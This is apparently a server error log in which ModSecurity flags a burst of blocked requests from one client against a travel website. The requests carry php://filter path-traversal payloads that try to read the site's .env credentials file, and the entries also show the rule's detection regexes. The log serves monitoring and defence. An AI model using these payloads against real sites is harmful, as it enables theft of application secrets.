[Fri Jul 17 08:55:11.307529 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 35 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 35, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgl1CBpfuYyhJ140vSbQAAAB4"]
[Fri Jul 17 08:55:11.307563 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&document=php://filter/convert.iconv.ucs-2le.ucs-2be/convert.base64-encode/resource=../../.env&token=c57sogn6w_8trwalzvltzqriawmqqa9tvf0wlkuivsrx2ndjvqzc6bt3vluhv_raqxooklrdtblyg2jesvb_9jod1w4e1vy9jri9khclrhjnav28rthgymyab-7z8d6cv5lu-yuwgytofiv-2b7-vjbzpayhvbz--s3nbtwumpcd0y-dclan9iuxfxe2wuixeza1f_tajx9thbhpvodhdjpk0o1hwxszzgw7s3boijoglszryh6clmnimc3mvd9loy8ka7ytgahksxw_-gxamoon&ts=xmrex3m42s25nsttkbvmwk5r3st2brxqx26jxxfqleucg7cmssh62c7gxfxcozmkvme44pns..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglw5GPQ6hs4VrfMpBQAAAAAY"]
[Fri Jul 17 08:55:11.307590 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:document. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:document: php://filter/convert.iconv.UCS-2LE.UCS-2BE/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglw5GPQ6hs4VrfMpBQAAAAAY"]
[Fri Jul 17 08:55:11.307630 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:document. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:document: php://filter/convert.iconv.ucs-2le.ucs-2be/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglw5GPQ6hs4VrfMpBQAAAAAY"]
[Fri Jul 17 08:55:11.308009 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:document. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:document: php://filter/convert.iconv.UCS-2LE.UCS-2BE/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglw5GPQ6hs4VrfMpBQAAAAAY"]
[Fri Jul 17 08:55:11.309063 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 35)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglw5GPQ6hs4VrfMpBQAAAAAY"]
[Fri Jul 17 08:55:11.309198 2026] [hostinglimits:warn] [pid 1993671:tid 1993671] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993671) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:11.309477 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 35 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 35, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almglw5GPQ6hs4VrfMpBQAAAAAY"]
[Fri Jul 17 08:55:11.311307 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:load. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:load: php://filter/convert.iconv.utf-8.utf-16le/convert.base64-encode/resource=../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl1h1WDijTxd1xw5MMAAAAAc"]
[Fri Jul 17 08:55:11.312424 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl1h1WDijTxd1xw5MMAAAAAc"]
[Fri Jul 17 08:55:11.312537 2026] [hostinglimits:warn] [pid 2013797:tid 2013797] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013797) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:11.312854 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgl1h1WDijTxd1xw5MMAAAAAc"]
[Fri Jul 17 08:55:11.318914 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:load. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:load: php://filter/convert.iconv.UCS-2LE.UCS-2BE/convert.base64-encode/resource=../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglxAi3pC6yjXGNq2AYgAAAAU"]
[Fri Jul 17 08:55:11.321741 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglxAi3pC6yjXGNq2AYgAAAAU"]
[Fri Jul 17 08:55:11.321916 2026] [hostinglimits:warn] [pid 1993668:tid 1993668] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993668) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:11.322205 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almglxAi3pC6yjXGNq2AYgAAAAU"]
[Fri Jul 17 08:55:11.323306 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?raw=1&load=php%3A%2F%2Ffilter%2Fconvert.iconv.utf-8.utf-16le%2Fconvert.base64-encode%2Fresource%3D..%2F..%2F..%2F.env&anything=NpP73jAEwKTKXjdF9i8XPnHfbsNzXsh8njdrsYmpZ8B0VHMWLWEBvlH8cygjc07cZWRWxL41yMiOuiOV1zJ6sCL1_kbtMarZV0_D_0o06h6_r5HwxH0hrE_hLoLB7lN4Ki0UB9-vIU-SQoKPnmFS-xtB__NbIjerI2DyalMJYQ713C-L0k_TcsznDfycPJZ0NuN-adUpK09G0iTQ2ENUsdqfIw9n0BTF6Y-45_luZYLU5cpJk9ZYNnNvqwLsfm59BihDDGFiDFqxu-QQaO9DmiBC&extra=EUCZGXGISCR43CCZZJI5GPEPGOTB3OEKHT6LJDXF..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl4l9vhFBGA6D8l95xgAAAAw"]
[Fri Jul 17 08:55:11.323350 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:load. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:load: php://filter/convert.iconv.utf-8.utf-16le/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl4l9vhFBGA6D8l95xgAAAAw"]
[Fri Jul 17 08:55:11.323401 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&load=php://filter/convert.iconv.utf-8.utf-16le/convert.base64-encode/resource=../../../.env&anything=NpP73jAEwKTKXjdF9i8XPnHfbsNzXsh8njdrsYmpZ8B0VHMWLWEBvlH8cygjc07cZWRWxL41yMiOuiOV1zJ6sCL1_kbtMarZV0_D_0o06h6_r5HwxH0hrE_hLoLB7lN4Ki0UB9-vIU-SQoKPnmFS-xtB__NbIjerI2DyalMJYQ713C-L0k_TcsznDfycPJZ0NuN-adUpK09G0iTQ2ENUsdqfIw9n0BTF6Y-45_luZYLU5cpJk9ZYNnNvqwLsfm59BihDDGFiDFqxu-QQaO9DmiBC&extra=EUCZGXGISCR43CCZZJI5GPEPGOTB3OEKHT6LJDXFNSECJYHPQENZ6CE3CDAIC6PGQFLD..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl4l9vhFBGA6D8l95xgAAAAw"]
[Fri Jul 17 08:55:11.323431 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&load=php://filter/convert.iconv.utf-8.utf-16le/convert.base64-encode/resource=../../../.env&anything=npp73jaewktkxjdf9i8xpnhfbsnzxsh8njdrsympz8b0vhmwlwebvlh8cygjc07czwrwxl41ymiouiov1zj6scl1_kbtmarzv0_d_0o06h6_r5hwxh0hre_hlolb7ln4ki0ub9-viu-sqokpnmfs-xtb__nbijeri2dyalmjyq713c-l0k_tcszndfycpjz0nun-adupk09g0itq2enusdqfiw9n0btf6y-45_luzylu5cpjk9zynnnvqwlsfm59bihddgfidfqxu-qqao9dmibc&extra=euczgxgiscr43cczzji5gpepgotb3oekht6ljdxfnsecjyhpqenz6ce3cdaic6pgqfld..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl4l9vhFBGA6D8l95xgAAAAw"]
[Fri Jul 17 08:55:11.323465 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:load. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:load: php://filter/convert.iconv.utf-8.utf-16le/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl4l9vhFBGA6D8l95xgAAAAw"]
[Fri Jul 17 08:55:11.323495 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:load. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:load: php://filter/convert.iconv.utf-8.utf-16le/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl4l9vhFBGA6D8l95xgAAAAw"]
[Fri Jul 17 08:55:11.323859 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:load. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:load: php://filter/convert.iconv.utf-8.utf-16le/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl4l9vhFBGA6D8l95xgAAAAw"]
[Fri Jul 17 08:55:11.324909 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 35)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl4l9vhFBGA6D8l95xgAAAAw"]
[Fri Jul 17 08:55:11.325052 2026] [hostinglimits:warn] [pid 1993572:tid 1993572] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993572) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:11.325319 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 35 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 35, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgl4l9vhFBGA6D8l95xgAAAAw"]
[Fri Jul 17 08:55:11.334631 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?raw=1&load=php%3A%2F%2Ffilter%2Fconvert.iconv.UCS-2LE.UCS-2BE%2Fconvert.base64-encode%2Fresource%3D..%2F..%2F..%2F.env&ts=Iiwc-ZucwjowV_u1aiFglZvg1A8Jvqx7AdBoMPy0MBjZ1-WOZBZoQo4PO1lTYhPSbOl4pXt4uNCy-eYcvEo5TD605VmwM4FmgBreR0mj_tYUqMQwxD8_NY0a9t27_HVgAv2RTv_V5LsoHpmSdZfQzZbi1DQTdXULWxE7m6aIsJWAFS3sHCedfZ_woNw2IZi1R2uKZJ2cOUsozeIkFULyet2xE85EScUA0m8Ivfel37bcVDcW64QtezNlzRWzHm5G6n-z9SHtZH1MeSQ-CB0eLYox&debug=N4MPMQK7RUOE4BHRVBAGVAIAXCINS2LZNVQL6Z4FXHRMB..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl4Zvbo7N5o5zeYC-LQAAABw"]
[Fri Jul 17 08:55:11.334689 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:load. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:load: php://filter/convert.iconv.UCS-2LE.UCS-2BE/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl4Zvbo7N5o5zeYC-LQAAABw"]
[Fri Jul 17 08:55:11.334734 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&load=php://filter/convert.iconv.UCS-2LE.UCS-2BE/convert.base64-encode/resource=../../../.env&ts=Iiwc-ZucwjowV_u1aiFglZvg1A8Jvqx7AdBoMPy0MBjZ1-WOZBZoQo4PO1lTYhPSbOl4pXt4uNCy-eYcvEo5TD605VmwM4FmgBreR0mj_tYUqMQwxD8_NY0a9t27_HVgAv2RTv_V5LsoHpmSdZfQzZbi1DQTdXULWxE7m6aIsJWAFS3sHCedfZ_woNw2IZi1R2uKZJ2cOUsozeIkFULyet2xE85EScUA0m8Ivfel37bcVDcW64QtezNlzRWzHm5G6n-z9SHtZH1MeSQ-CB0eLYox&debug=N4MPMQK7RUOE4BHRVBAGVAIAXCINS2LZNVQL6Z4FXHRMBJSU6UZ5QFEAA3GZCWITNR2HLEJKB..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl4Zvbo7N5o5zeYC-LQAAABw"]
[Fri Jul 17 08:55:11.334778 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&load=php://filter/convert.iconv.ucs-2le.ucs-2be/convert.base64-encode/resource=../../../.env&ts=iiwc-zucwjowv_u1aifglzvg1a8jvqx7adbompy0mbjz1-wozbzoqo4po1ltyhpsbol4pxt4uncy-eycveo5td605vmwm4fmgbrer0mj_tyuqmqwxd8_ny0a9t27_hvgav2rtv_v5lsohpmsdzfqzzbi1dqtdxulwxe7m6aisjwafs3shcedfz_wonw2izi1r2ukzj2cousozeikfulyet2xe85escua0m8ivfel37bcvdcw64qteznlzrwzhm5g6n-z9shtzh1mesq-cb0elyox&debug=n4mpmqk7ruoe4bhrvbagvaiaxcins2lznvql6z4fxhrmbjsu6uz5qfeaa3gzcwitnr2hlejkb..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl4Zvbo7N5o5zeYC-LQAAABw"]
